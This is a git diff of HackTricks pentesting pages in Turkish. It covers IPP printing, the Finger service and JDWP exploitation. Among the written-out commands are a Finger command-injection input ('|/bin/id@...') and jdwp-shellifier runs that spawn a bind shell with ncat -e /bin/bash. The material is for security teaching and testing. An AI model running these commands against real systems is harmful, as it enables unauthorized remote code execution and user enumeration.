Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# İnternet Baskı Protokolü \(IPP\)
|
||||
# Internet Yazdırma Protokolü \(IPP\)
|
||||
|
||||
**İnternet Baskı Protokolü (IPP)**, **RFC2910** ve **RFC2911** tarafından belirtildiği gibi, internet üzerinden baskı yapmak için bir temel sağlar. **IPP Everywhere** gibi gelişmelerle genişletilebilme yeteneği sergilenir, bu da mobil ve bulut baskısını standartlaştırmayı amaçlar ve **3D baskı** için uzantıların tanıtılmasını içerir.
|
||||
**Internet Yazdırma Protokolü (IPP)**, **RFC2910** ve **RFC2911**'de belirtildiği gibi, internet üzerinden yazdırma için bir temel oluşturur. Gelişmeler, **IPP Everywhere** gibi, mobil ve bulut yazdırmayı standartlaştırmayı amaçlayarak genişletilebilirliğini göstermektedir ve **3D yazdırma** için uzantıların tanıtımını içermektedir.
|
||||
|
||||
**HTTP** protokolünden yararlanan IPP, **temel/digest kimlik doğrulama** ve **SSL/TLS şifrelemesi** gibi kurumsal güvenlik uygulamalarından faydalanır. Baskı işlemi gönderme veya yazıcı durumunu sorgulama gibi işlemler, IPP sunucusuna yönlendirilen **HTTP POST istekleri** ile gerçekleştirilir ve bu sunucu **631/tcp portunda** çalışır.
|
||||
**HTTP** protokolünden yararlanan IPP, **temel/özet kimlik doğrulama** ve **SSL/TLS şifreleme** gibi yerleşik güvenlik uygulamalarından faydalanır. Yazdırma işi göndermek veya yazıcı durumunu sorgulamak gibi işlemler, **port 631/tcp** üzerinde çalışan IPP sunucusuna yönlendirilmiş **HTTP POST istekleri** aracılığıyla gerçekleştirilir.
|
||||
|
||||
IPP'nin iyi bilinen bir uygulaması, çeşitli Linux dağıtımlarında ve OS X'te yaygın olarak kullanılan açık kaynaklı bir baskı sistemi olan **CUPS**'tır. Faydalı olmasına rağmen, IPP, LPD'ye benzer şekilde, **PostScript** veya **PJL dosyaları** aracılığıyla kötü amaçlı içerik iletilmesi için istismar edilebilir ve bu da potansiyel bir güvenlik riskini ortaya koyar.
|
||||
IPP'nin iyi bilinen bir uygulaması, çeşitli Linux dağıtımları ve OS X üzerinde yaygın olan açık kaynaklı yazdırma sistemi **CUPS**'dır. Kullanışlı olmasına rağmen, IPP, LPD gibi, **PostScript** veya **PJL dosyaları** aracılığıyla kötü niyetli içerik iletmek için istismar edilebilir, bu da potansiyel bir güvenlik riski olduğunu vurgular.
|
||||
```python
|
||||
# Example of sending an IPP request using Python
|
||||
import requests
|
||||
|
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
|
|||
response = requests.post(url, headers=headers, data=data, verify=True)
|
||||
print(response.status_code)
|
||||
```
|
||||
[**Hacking yazıcılar hakkında daha fazla bilgi edinmek için bu sayfayı okuyun**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
Eğer [**yazıcıları hacklemeyi öğrenmek istiyorsanız bu sayfayı okuyun**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Varsayılan Port:** 2301,2381
|
||||
|
@ -19,7 +20,7 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||
|
||||
# Yapılandırma dosyaları
|
||||
# Konfigürasyon dosyaları
|
||||
```text
|
||||
path.properties
|
||||
mx.log
|
||||
|
@ -29,16 +30,17 @@ pg_hba.conf
|
|||
jboss-service.xml
|
||||
.namazurc
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
|
||||
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,64 +1,49 @@
|
|||
# 79 - Pentesting Finger
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
**Finger** programı/hizmeti, bilgisayar kullanıcıları hakkında bilgi almak için kullanılır. Genellikle sağlanan bilgiler, **kullanıcının giriş adı, tam adı** ve bazı durumlarda ek bilgileri içerir. Bu ek bilgiler, kullanıcının ofis konumu ve telefon numarası (varsa), kullanıcının oturum açma zamanı, etkinlik dışı kalma süresi (boşta kalma süresi), kullanıcının en son okuduğu posta ve kullanıcının plan ve proje dosyalarının içeriği olabilir.
|
||||
**Finger** programı/hizmeti, bilgisayar kullanıcıları hakkında detaylar almak için kullanılır. Genellikle sağlanan bilgiler **kullanıcının giriş adı, tam adı** ve bazı durumlarda ek detayları içerir. Bu ek detaylar, ofis konumu ve telefon numarasını (varsa), kullanıcının giriş yaptığı zamanı, hareketsizlik süresini (boşta kalma süresi), kullanıcının en son okuduğu e-posta zamanını ve kullanıcının plan ve proje dosyalarının içeriğini kapsayabilir.
|
||||
|
||||
**Varsayılan port:** 79
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
79/tcp open finger
|
||||
```
|
||||
## **Sorgulama**
|
||||
## **Numaralandırma**
|
||||
|
||||
### **Banner Yakalama/Temel bağlantı**
|
||||
### **Afiş Yakalama/Temel Bağlantı**
|
||||
```bash
|
||||
nc -vn <IP> 79
|
||||
echo "root" | nc -vn <IP> 79
|
||||
```
|
||||
### **Kullanıcı numaralandırma**
|
||||
|
||||
User enumeration is the process of gathering information about valid usernames on a target system. This information can be used by an attacker to launch further attacks, such as brute-forcing passwords or attempting to gain unauthorized access to user accounts.
|
||||
|
||||
Kullanıcı numaralandırma, hedef sistemde geçerli kullanıcı adları hakkında bilgi toplama sürecidir. Bu bilgi, saldırgan tarafından şifreleri kaba kuvvetle kırmak veya kullanıcı hesaplarına izinsiz erişim sağlamak gibi daha fazla saldırı başlatmak için kullanılabilir.
|
||||
|
||||
One common method of user enumeration is through the Finger service. The Finger service is a network protocol that allows users to retrieve information about other users on a remote system. By default, the Finger service is often enabled on Unix-based systems.
|
||||
|
||||
Kullanıcı numaralandırmanın yaygın bir yöntemi, Finger servisi aracılığıyla gerçekleştirilir. Finger servisi, kullanıcıların uzak bir sistemdeki diğer kullanıcılar hakkında bilgi almasına izin veren bir ağ protokolüdür. Varsayılan olarak, Finger servisi genellikle Unix tabanlı sistemlerde etkinleştirilir.
|
||||
|
||||
To perform user enumeration using the Finger service, an attacker can send a query to the Finger service with a specific username. If the username exists on the target system, the Finger service will respond with information about that user, such as their full name, login shell, and other details.
|
||||
|
||||
Finger servisini kullanarak kullanıcı numaralandırma yapmak için, saldırgan belirli bir kullanıcı adıyla Finger servisine bir sorgu gönderebilir. Eğer kullanıcı adı hedef sistemde varsa, Finger servisi o kullanıcı hakkında bilgileri, tam adı, giriş kabuğu ve diğer ayrıntılar gibi, içeren bir yanıt gönderecektir.
|
||||
|
||||
To protect against user enumeration through the Finger service, it is recommended to disable or restrict access to the Finger service on the target system. Additionally, implementing strong password policies and monitoring for any suspicious activity can help mitigate the risk of unauthorized access to user accounts.
|
||||
|
||||
Finger servisi aracılığıyla kullanıcı numaralandırmaya karşı korunmak için, hedef sistemde Finger servisini devre dışı bırakmak veya erişimi kısıtlamak önerilir. Ayrıca, güçlü şifre politikaları uygulamak ve herhangi bir şüpheli faaliyeti izlemek, kullanıcı hesaplarına izinsiz erişim riskini azaltmaya yardımcı olabilir.
|
||||
```bash
|
||||
finger @<Victim> #List users
|
||||
finger admin@<Victim> #Get info of user
|
||||
finger user@<Victim> #Get info of user
|
||||
```
|
||||
Alternatif olarak, [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum) adresinden **finger-user-enum** kullanabilirsiniz, bazı örnekler:
|
||||
Alternatif olarak, [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum) sitesinden **finger-user-enum** kullanabilirsiniz, bazı örnekler:
|
||||
```bash
|
||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
finger-user-enum.pl -U users.txt -T ips.txt
|
||||
```
|
||||
#### **Nmap, varsayılan komut dosyalarını kullanmak için bir komut dosyası çalıştırır**
|
||||
#### **Nmap, varsayılan betikleri kullanarak bir betik çalıştırır**
|
||||
|
||||
### Metasploit, Nmap'tan daha fazla hile kullanır
|
||||
```
|
||||
|
@ -73,23 +58,24 @@ use auxiliary/scanner/finger/finger_users
|
|||
finger "|/bin/id@example.com"
|
||||
finger "|/bin/ls -a /@example.com"
|
||||
```
|
||||
## Parmak Yönlendirme
|
||||
## Finger Bounce
|
||||
|
||||
[Bir sistem kullanarak parmak yönlendirme yapın](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
[Bir sistemi finger relay olarak kullanın](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
```
|
||||
finger user@host@victim
|
||||
finger @internal@external
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,61 @@
|
|||
# JDWP Pentesting - Java Debug Wire Protocol
|
||||
# Pentesting JDWP - Java Debug Wire Protocol
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Sömürme
|
||||
## Exploiting
|
||||
|
||||
JDWP sömürüsü, **protokolün kimlik doğrulama ve şifreleme eksikliğine** dayanır. Genellikle **8000 numaralı portta** bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" göndererek yapılır. Eğer bir JDWP hizmeti etkinse, aynı dizeyle yanıt vererek varlığını doğrular. Bu el sıkışması, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.
|
||||
JDWP istismarı, **protokolün kimlik doğrulama ve şifreleme eksikliğine** dayanır. Genellikle **8000 numaralı portta** bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" gönderilerek yapılır. Eğer bir JDWP servisi aktifse, aynı dize ile yanıt verir ve varlığını doğrular. Bu el sıkışma, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.
|
||||
|
||||
Süreç tanımlaması açısından, Java süreçlerinde "jdwk" dizesini aramak, etkin bir JDWP oturumunu gösterebilir.
|
||||
Süreç tanımlaması açısından, Java süreçlerinde "jdwk" dizesini aramak, aktif bir JDWP oturumunu gösterebilir.
|
||||
|
||||
En yaygın kullanılan araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)'dır. Farklı parametrelerle kullanabilirsiniz:
|
||||
Kullanılacak araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Farklı parametrelerle kullanabilirsiniz:
|
||||
```bash
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||
```
|
||||
`--break-on 'java.lang.String.indexOf'` kullanımının saldırıyı daha **istikrarlı** hale getirdiğini buldum. Ve eğer bir ana bilgisayara bir arka kapı yüklemek ve bunun yerine bir komut çalıştırmak için şansınız varsa, saldırı daha da istikrarlı olacaktır.
|
||||
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
|
||||
|
||||
## Daha Fazla Detay
|
||||
|
||||
**Bu, [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) adresindeki bir özetidir**. Daha fazla ayrıntı için kontrol edin.
|
||||
## Daha fazla detay
|
||||
|
||||
**Bu, [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) adresinin bir özetidir.** Daha fazla detay için kontrol edin.
|
||||
|
||||
1. **JDWP Genel Bakış**:
|
||||
- Paket tabanlı bir ağ ikili protokoldür, temel olarak senkroniktir.
|
||||
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında savunmasız hale getirir.
|
||||
- Paket tabanlı bir ağ ikili protokoldür, öncelikle senkronizedir.
|
||||
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında güvenlik açığı oluşturur.
|
||||
|
||||
2. **JDWP El Sıkışması**:
|
||||
- İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Hata Ayıklayıcı (istemci) ve Hata Ayıklanan (sunucu) arasında "JDWP-Handshake" adında 14 karakterlik bir ASCII dizesi alışverişi yapılır.
|
||||
- İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Debugger (istemci) ve Debuggee (sunucu) arasında 14 karakterlik bir ASCII dizesi “JDWP-Handshake” değiştirilir.
|
||||
|
||||
3. **JDWP İletişimi**:
|
||||
- Mesajlar Uzunluk, Kimlik, Bayrak ve KomutSeti gibi alanlara sahip basit bir yapıya sahiptir.
